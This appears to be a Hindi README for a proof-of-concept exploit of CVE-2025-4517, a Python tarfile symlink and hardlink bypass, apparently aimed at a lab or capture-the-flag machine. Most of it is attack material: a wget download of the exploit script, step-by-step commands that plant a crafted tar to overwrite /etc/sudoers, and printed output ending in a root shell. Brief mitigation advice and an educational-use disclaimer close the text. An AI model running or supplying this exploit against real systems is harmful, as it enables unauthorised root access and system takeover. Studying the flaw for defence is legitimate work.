
CVE-2025-4517 के लिए विशेषाधिकार वृद्धि स्क्रिप्ट
यह शोषण और विवरण AI द्वारा लिखे गए हैं। यदि आपको कोई गलती या समस्या मिले, तो कृपया मुझे बताएं! यह शोषण परीक्षण किया गया और काम करता पाया गया। धन्यवाद!
यह शोषण CVE-2025-4517 का लाभ उठाता है, जो पायथन के tarfile मॉड्यूल में एक गंभीर भेद्यता है जो सिमलिंक पथ ट्रैवर्सल और हार्डलिंक हेरफेर के संयोजन के माध्यम से मनमानी फ़ाइल लिखने की अनुमति देता है। यह पायथन 3.12 में पेश किए गए filter="data" सुरक्षा को बायपास करता है।
यह भेद्यता इस बात में एक दोष का शोषण करती है कि Python का tarfile.extractall() किस प्रकार के इंटरैक्शन को संभालता है:
filter="data" पैरामीटर सीधे सिमलिंक एस्केप को ब्लॉक करता है, लेकिन हार्डलिंक तकनीक इस सुरक्षा को दरकिनार कर देती है1. गहरे नेस्टेड निर्देशिकाएँ बनाएँ (पथ भ्रम)
└─ 16 स्तर गहरे दोहराए गए 247-वर्ण वाले निर्देशिका नामों का उपयोग करता है
2. ट्रैवर्सल के लिए सिमलिंक श्रृंखला बनाएँ
└─ ऐसे सिमलिंक बनाता है जो निर्देशिका पेड़ के माध्यम से ऊपर की ओर हल करते हैं
3. लक्ष्य निर्देशिका (/etc) के लिए सिमलिंक एस्केप करें
└─ अंतिम सिमलिंक निकासी सीमा के बाहर इंगित करता है
4. एस्केप सिमलिंक के माध्यम से इशारा करने वाला हार्डलिंक बनाएँ
└─ हार्डलिंक: "sudoers_link" → "escape/sudoers" → "/etc/sudoers"
5. हार्डलिंक पर सामग्री लिखें
└─ "sudoers_link" पर लिखना वास्तव में /etc/sudoers पर लिखता है
स्क्रिप्ट: /opt/backup_clients/restore_backup_clients.py
# भेद्य कोड स्निपेट
with tarfile.open(backup_path, "r") as tar:
tar.extractall(path=staging_dir, filter="data")
सुडो अनुमतियाँ:
wacky ALL=(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *
/opt/backup_clients/backups/ में लिखने की पहुँच# शोषण डाउनलोड करें
wget https://raw.githubusercontent.com/AzureADTrent/CVE-2025-4517-POC/refs/heads/main/CVE-2025-4517-POC.py
# लक्ष्य सिस्टम पर ले जाएँ
# शोषण चलाएँ
./exploit.py
# या Python के साथ
python3 exploit.py
यदि आप प्रत्येक चरण को मैन्युअल रूप से चलाना पसंद करते हैं:
# 1. शोषण tar बनाएँ
python3 exploit.py --create-only
# 2. लक्ष्य पर तैनात करें
cp /tmp/cve_2025_4517_exploit.tar /opt/backup_clients/backups/backup_9999.tar
# 3. भेद्य स्क्रिप्ट के माध्यम से निष्पादित करें
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py \
-b backup_9999.tar \
-r restore_exploit
# 4. sudoers संशोधन सत्यापित करें
sudo cat /etc/sudoers | grep "$(whoami)"
# 5. रूट प्राप्त करें
sudo /bin/bash
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-4517 Tarfile Exploit ║
║ Privilege Escalation via Symlink + Hardlink Bypass ║
╚═══════════════════════════════════════════════════════════╝
[*] Target user: wacky
[*] Creating exploit tar for user: wacky
[*] Phase 1: Building nested directory structure...
[*] Phase 2: Creating symlink chain for path traversal...
[*] Phase 3: Creating escape symlink to /etc...
[*] Phase 4: Creating hardlink to /etc/sudoers...
[*] Phase 5: Writing sudoers entry...
[+] Exploit tar created: /tmp/cve_2025_4517_exploit.tar
[*] Deploying exploit to: /opt/backup_clients/backups/backup_9999.tar
[+] Exploit deployed successfully
[*] Triggering extraction via vulnerable script...
[+] Backup: backup_9999.tar
[+] Staging directory: /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed in /opt/backup_clients/restored_backups/restore_pwn_9999
[+] Extraction completed
[*] Verifying exploit success...
[+] SUCCESS! User 'wacky' added to sudoers
[+] Entry: wacky ALL=(ALL) NOPASSWD: ALL
============================================================
[+] EXPLOITATION SUCCESSFUL!
[+] User 'wacky' now has full sudo privileges
[+] Get root with: sudo /bin/bash
============================================================
[?] Spawn root shell now? (y/n): y
[*] Spawning root shell...
[*] Run: sudo /bin/bash
root@box:/tmp# whoami
root
root@box:/tmp# id
uid=0(root) gid=0(root) groups=0(root)
/etc/sudoers को संशोधित करने के लिए tar शोषण तैनात करें python3 --version # संस्करण जाँचें
# निकासी से पहले संदिग्ध सदस्यों की जाँच करें
for member in tar.getmembers():
if member.islnk() or member.issym():
raise SecurityError("सिमलिंक/हार्डलिंक की अनुमति नहीं है")
import os
for member in tar.getmembers():
member_path = os.path.join(extract_path, member.name)
if not member_path.startswith(os.path.abspath(extract_path)):
raise SecurityError("पथ ट्रैवर्सल का पता चला")
# बैकअप स्क्रिप्ट sudo पहुँच हटाएँ या प्रतिबंधित करें
visudo
# निकासी से पहले tar सामग्री जाँचें
tar -tzf archive.tar | grep -E '\.\./|^/'
/etc/sudoers जैसी महत्वपूर्ण फ़ाइलों की निगरानी करें # AIDE या समान IDS सेटअप करें
aide --check
यह शोषण केवल शैक्षिक उद्देश्यों के लिए प्रदान किया गया है और इसका उपयोग निम्नलिखित में करने का इरादा है:
लेखक इस कोड के दुरुपयोग के लिए कोई दायित्व नहीं मानते हैं।
मूल अनुसंधान: कई सुरक्षा शोधकर्ता (संदर्भ देखें)
MIT लाइसेंस - विवरण के लिए LICENSE फ़ाइल देखें
अंतिम अद्यतन: मार्च 2026